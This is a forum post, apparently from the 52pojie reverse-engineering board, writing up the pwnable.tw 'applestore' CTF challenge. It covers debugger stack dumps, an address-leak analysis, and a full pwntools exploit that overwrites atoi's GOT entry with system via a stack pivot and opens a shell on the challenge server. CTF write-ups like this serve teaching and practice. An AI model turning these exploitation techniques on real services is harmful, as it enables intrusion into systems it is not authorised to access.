吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2967|回复: 2
收起左侧

[调试逆向] pwnable.tw - applestore - 栈迁移 + environ

[复制链接]
dreamingctf 发表于 2022-3-28 20:29
applestore 是个特别好的题,之前做的几个题漏洞都是在单个函数里的,而这个题的漏洞,是得从几个函数的小问题拼凑出来而得到利用流程的

分析文章见如下两篇参考链接
https://www.jianshu.com/p/0e34833aecae
https://xuanxuanblingbling.github.io/ctf/pwn/2020/03/06/applestore/
建议:先自己分析程序,思考,再参考第二个链接,看图,再思考,然后结合一和二写 exp
思路:构造 BOOM!到泄露信息,再到提权

[Asm] 纯文本查看 复制代码
file applestore
applestore: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=35f3890fc458c22154fbc1d65e9108a6c8738111, not stripped

checksec
applestore
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)



分析 main 中各个子函数,最有趣的就是 checkout 函数,里面有个 7174 的判断
[C] 纯文本查看 复制代码
  if ( v1 == 7174 )
  {
    puts("*: iPhone 8 - $1");
    asprintf(v2, "%s", "iPhone 8");
    v2[1] = (char *)1;
    insert((int)v2);
    v1 = 7175;
  }


需要购物车的所有东西总价是 7174,那么就整个暴力跑,发现 6 个 1 和 20 个 2 可以(还有很多可以,但无所谓就行),写个 py 暴力找
[Python] 纯文本查看 复制代码
a = int(7174 / 199) + 1
b = int(7174 / 199) + 1
c = int(7174 / 199) + 1
d = int(7174 / 199) + 1

for i1 in range(a):
    for i2 in range(b):
        for i3 in range(c):
            for i4 in range(d):
                if (i1 * 199 + i2 * 299 + i3 * 499 + i4 * 399 == 7174):
                    print (i1, i2, i3, i4)


很好玩的功能是,checkout 函数会调用 cart 函数
[Asm] 纯文本查看 复制代码
break checkout

pwndbg> stack 40
00:0000│ esp 0xffdcd6b0 —▸ 0xf7ebdc40 (_nl_global_locale) —▸ 0xf7ebba60 (_nl_C_LC_CTYPE) —▸ 0xf7e64c84 (_nl_C_name) ◂— inc    ebx /* 'C' */
01:0004│     0xffdcd6b4 ◂— 0x0
02:0008│     0xffdcd6b8 —▸ 0xf7ebd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
03:000c│     0xffdcd6bc —▸ 0x80487c0 (my_read+39) ◂— mov    dword ptr [ebp - 0xc], eax
04:0010│     0xffdcd6c0 ◂— 0x0
05:0014│     0xffdcd6c4 —▸ 0xffdcd706 ◂— 0x65000a35 /* '5\n' */
06:0018│     0xffdcd6c8 —▸ 0xf7d17545 (strtol+5) ◂— add    eax, 0x1a5abb
07:001c│     0xffdcd6cc —▸ 0xf7d13d20 (atoi+16) ◂— add    esp, 0x1c
08:0020│     0xffdcd6d0 —▸ 0xffdcd706 ◂— 0x65000a35 /* '5\n' */
09:0024│     0xffdcd6d4 ◂— 0x0
0a:0028│     0xffdcd6d8 ◂— 0xa /* '\n' */
0b:002c│     0xffdcd6dc ◂— 0x2
0c:0030│     0xffdcd6e0 —▸ 0xf7ebd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
0d:0034│     0xffdcd6e4 ◂— 0x0
0e:0038│ ebp 0xffdcd6e8 —▸ 0xffdcd728 —▸ 0xffdcd748 ◂— 0x0
0f:003c│     0xffdcd6ec —▸ 0x8048c54 (handler+129) ◂— jmp    0x8048c63
10:0040│     0xffdcd6f0 —▸ 0xffdcd706 ◂— 0x65000a35 /* '5\n' */
11:0044│     0xffdcd6f4 ◂— 0x15
12:0048│     0xffdcd6f8 —▸ 0xffdcd714 ◂— 0x6
13:004c│     0xffdcd6fc —▸ 0xf7d36520 (printf) ◂— call   0xf7e1c409
14:0050│     0xffdcd700 ◂— 0x5
15:0054│     0xffdcd704 ◂— 0xa358940
16:0058│     0xffdcd708 —▸ 0xf7d36500 (fprintf) ◂— sub    esp, 0xc
17:005c│     0xffdcd70c —▸ 0x80486f7 (menu+138) ◂— leave  
18:0060│     0xffdcd710 —▸ 0x8048e23 ◂— and    eax, 0x45203a64 /* '%d: Exit\n' */


0f:003c│     0xffdcd6ec —▸ 0x8048c54 (handler+129) ◂— jmp    0x8048c63
.text:08048C4F E8 E7 FE FF FF                                call    checkout        ; jumptable 08048C31 case 5
.text:08048C54 EB 0D                                         jmp     short loc_8048C63


根据 if 判断,需要往栈里添加数据

[Asm] 纯文本查看 复制代码
pwndbg> x/20i 0x8048b70
=> 0x8048b70 <checkout+53>:    mov    DWORD PTR [esp+0x8],0x8049013
   0x8048b78 <checkout+61>:    mov    DWORD PTR [esp+0x4],0x8048ebe
   0x8048b80 <checkout+69>:    lea    eax,[ebp-0x20]
   0x8048b83 <checkout+72>:    mov    DWORD PTR [esp],eax
   0x8048b86 <checkout+75>:    call   0x8048550 <asprintf@plt>
   0x8048b8b <checkout+80>:    mov    DWORD PTR [ebp-0x1c],0x1
   0x8048b92 <checkout+87>:    lea    eax,[ebp-0x20]
   0x8048b95 <checkout+90>:    mov    DWORD PTR [esp],eax
   0x8048b98 <checkout+93>:    call   0x8048835 <insert>


这是进了 if 的情况
pwndbg> stack 20
00:0000│ esp 0xffdcd6b0 —&#9656; 0x8049028 &#9666;— push   edi /* 'Want to checkout? Maybe next time!' */
01:0004│     0xffdcd6b4 &#9666;— 0x1c07
02:0008│     0xffdcd6b8 —&#9656; 0x8049013 &#9666;— imul   edx, dword ptr [eax + 0x68], 0x20656e6f /* 'iPhone 8' */
03:000c│     0xffdcd6bc —&#9656; 0x80487c0 (my_read+39) &#9666;— mov    dword ptr [ebp - 0xc], eax
04:0010│     0xffdcd6c0 &#9666;— 0x1c07
05:0014│     0xffdcd6c4 &#9666;— 0x1
06:0018│     0xffdcd6c8 —&#9656; 0x8c69c00 &#9666;— 'iPhone 8'
07:001c│     0xffdcd6cc &#9666;— 0x1
08:0020│     0xffdcd6d0 —&#9656; 0xffdcd706 &#9666;— 0x65000a35 /* '5\n' */
09:0024│     0xffdcd6d4 —&#9656; 0x8c69bc0 —&#9656; 0x8c69be0 &#9666;— 'iPhone 6 Plus'
0a:0028│     0xffdcd6d8 &#9666;— 0xa /* '\n' */
0b:002c│     0xffdcd6dc &#9666;— 0xe6851300
0c:0030│     0xffdcd6e0 —&#9656; 0xf7ebd000 (_GLOBAL_OFFSET_TABLE_) &#9666;— 0x1d7d8c
0d:0034│     0xffdcd6e4 &#9666;— 0x0
0e:0038│ ebp 0xffdcd6e8 —&#9656; 0xffdcd728 —&#9656; 0xffdcd748 &#9666;— 0x0
0f:003c│     0xffdcd6ec —&#9656; 0x8048c54 (handler+129) &#9666;— jmp    0x8048c63

这是没进 if 的情况
pwndbg> stack 20
00:0000│ esp 0xffb740c0 —&#9656; 0x8049028 &#9666;— push   edi /* 'Want to checkout? Maybe next time!' */
01:0004│     0xffb740c4 &#9666;— 0x175c
02:0008│     0xffb740c8 —&#9656; 0xf7f32000 (_GLOBAL_OFFSET_TABLE_) &#9666;— 0x1d7d8c
03:000c│     0xffb740cc —&#9656; 0x80487c0 (my_read+39) &#9666;— mov    dword ptr [ebp - 0xc], eax
04:0010│     0xffb740d0 &#9666;— 0x175c
05:0014│     0xffb740d4 &#9666;— 0x1
06:0018│     0xffb740d8 —&#9656; 0xf7d8c545 (strtol+5) &#9666;— add    eax, 0x1a5abb
07:001c│     0xffb740dc —&#9656; 0xf7d88d20 (atoi+16) &#9666;— add    esp, 0x1c
08:0020│     0xffb740e0 —&#9656; 0xffb74116 &#9666;— 0xb5000a35 /* '5\n' */
09:0024│     0xffb740e4 &#9666;— 0x0
0a:0028│     0xffb740e8 &#9666;— 0xa /* '\n' */
0b:002c│     0xffb740ec &#9666;— 0x518f3f00
0c:0030│     0xffb740f0 —&#9656; 0xf7f32000 (_GLOBAL_OFFSET_TABLE_) &#9666;— 0x1d7d8c
0d:0034│     0xffb740f4 &#9666;— 0x0
0e:0038│ ebp 0xffb740f8 —&#9656; 0xffb74138 —&#9656; 0xffb74158 &#9666;— 0x0
0f:003c│     0xffb740fc —&#9656; 0x8048c54 (handler+129) &#9666;— jmp    0x8048c63



由于 main 可以调用 checkout(),也可以调用 cart()
问题点在于,checkout() 添加的 iphone 8 的字符串地址保存在栈上,但是 cart() 函数也可以操作栈
cart函数的反汇编如下
[C] 纯文本查看 复制代码
int cart(){
    char buf[22]; // [esp+26h] [ebp-22h] BYREF
    my_read(buf, 0x15u);
    if ( buf[0] == 'y' ){
        …
    }
}


可以看到 buf 字符串最多可以读取 0x15 字节,而只检查首字符 y
checkout 函数如下

[Asm] 纯文本查看 复制代码
unsigned int checkout(){
    char *v2[5]; // [esp+18h] [ebp-20h] BYREF
    asprintf(v2, "%s", "iPhone 8");
    v2[1] = (char *)1;
}



所以思路是:利用 6 个 1 和 20 个 2,构造出 7174,在栈上写出 "iphone 8" 的字符串,然后,利用 cart() 函数和 read() 函数的不检查
把 phone8 的字符串地址修改成我们想要的函数地址,然后造成信息泄露

信息泄露部分:可泄露 puts 函数地址以及 heap 地址等信息
[Asm] 纯文本查看 复制代码
.bss:0804B070 ?? ?? ?? ??                   dword_804B070   dd ?                    ; DATA XREF: delete+18↑r
.bss:0804B070                                                                       ; cart+61↑r

根据 cart 函数
    for ( i = dword_804B070; i; i = *(_DWORD *)(i + 8) )
    {
      v0 = v2++;
      printf("%d: %s - $%d\n", v0, *(const char **)i, *(_DWORD *)(i + 4));
      v3 += *(_DWORD *)(i + 4);
    }
dword_804B070 地址处存放的是 iphone6 字符串,该地址位于堆上

图片.png

这里我自己调试的时候,本地的 libc 打印第 27 和第 28 个购物车中的物品
第 27 个可以打印出来,第 28 个不对,需要打印两次,而且本地堆的偏移和参考 exp 的不一样
图片.png
本地堆的偏移值是 0x570

图片.png
根据前面说的漏洞,可以用任何一个 got 表中的函数去泄露出 system 函数地址


图片.png
调试一下就是两个细节点:
1、得用 system 的地址,覆盖到 atoi 的 got 表地址
2、修改 ebp,使用栈迁移的方法,把假栈布置到 atoi 的 got 表附近,这附近可写

这里需要补充一个知识点:environ
参考链接:
https://blog.csdn.net/weixin_43519514/article/details/105224172


在 linux C 中,environ 是一个全局变量,它存储着系统的环境变量,一般是指:操作系统中用来制定操作系统运行环境的一些参数,具有某些特殊用途,在系统当中通常具有全局性,可以被子进程继承下去
我们根据链接中的代码,可以发现 environ 是个很有用的东西,既和 libc 相关,也和当前系统环境相关

exp 思路:
利用 7174,得到一个特价的 iphone 8,这个字符串是写到栈上的。由于栈上的值是不清理的,所以下次再进入这个栈,是可以覆盖写入 iphone8 这个指针的,达成地址泄露
地址泄露后,可以计算出 environment 和 libc 地址
再次构造漏洞,栈迁移,就可以把 system 地址覆盖到 atoi 函数的 got 表地址

exp 如下:
[Python] 纯文本查看 复制代码
from pwn import *

debug = 0
online = 1

#context(log_level = "debug", arch = 'i386', os = "linux")
context(arch = 'i386', os = "linux")

elf = ELF("./applestore")
if online == 0:
    io = process("./applestore")
    libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
    io = remote("chall.pwnable.tw", 10104)
    libc = ELF("./libc_32.so.6")

rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True: io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info("\033[1;31;40m %s --> 0x%x \033[0m" % (s, addr))
uu32 = lambda data : u32(data.ljust(4, "\x00"))
uu64 = lambda data : u64(data.ljust(8, "\x00"))

def AddRemove(options, data):
    ru("> ")
    sl(options)
    ru("Number> ")
    sl(data)

def List(data):
    ru("> ")
    sl("4")
    ru(" > ")
    sl(data)

def checkout():
    ru("> ")
    sl("5")
    ru(" > ")
    sl("y")

'''
#Add 2; Remove 3
'''

for i in range(6):
    AddRemove("2", "1")
for i in range(20):
    AddRemove("2", "2")

checkout()
atoi_got_addr = elf.got["atoi"]
payload = b"y\x00" + p32(atoi_got_addr) + p32(0) + p32(0) + p32(0)
List(payload)
ru("27: ")
atoi_addr = u32(ru("\n")[:4])
system_addr = atoi_addr - libc.symbols["atoi"] + libc.symbols["system"]
log.warn("atoi_got_addr = " + hex(atoi_got_addr))
log.warn("atoi_addr = " + hex(atoi_addr))
log.warn("system_addr = " + hex(system_addr))

environ_bss_addr = atoi_addr - libc.symbols["atoi"] + libc.symbols["environ"]
payload = b"y\x00" + p32(environ_bss_addr) + p32(0) + p32(0) + p32(0)
List(payload)
ru("27: ")
environ_addr = u32(ru("\n")[:4])
log.warn("environ_addr = " + hex(environ_addr))

ebp_addr = environ_addr - 0x104
ebp_new_addr = ebp_addr - 0x8

#gdb.attach(io, "b *0x8048A03")
ru("> ")
sl("3")
ru("> ")
sl(b"27" + p32(0) * 2 + p32(atoi_got_addr + 0x22) + p32(ebp_new_addr))
ru("> ")
sl(p32(system_addr) + b";/bin/sh\x00")
io.interactive()




免费评分

参与人数 3威望 +1 吾爱币 +22 热心值 +3 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
鞋带老掉 + 1 + 1 谢谢@Thanks!
chun88888 + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

kds0221 发表于 2022-3-29 09:59
不太懂,插个眼。以后慢慢学。感谢
oO梦中梦Oo 发表于 2022-3-29 16:55
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-28 19:52

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表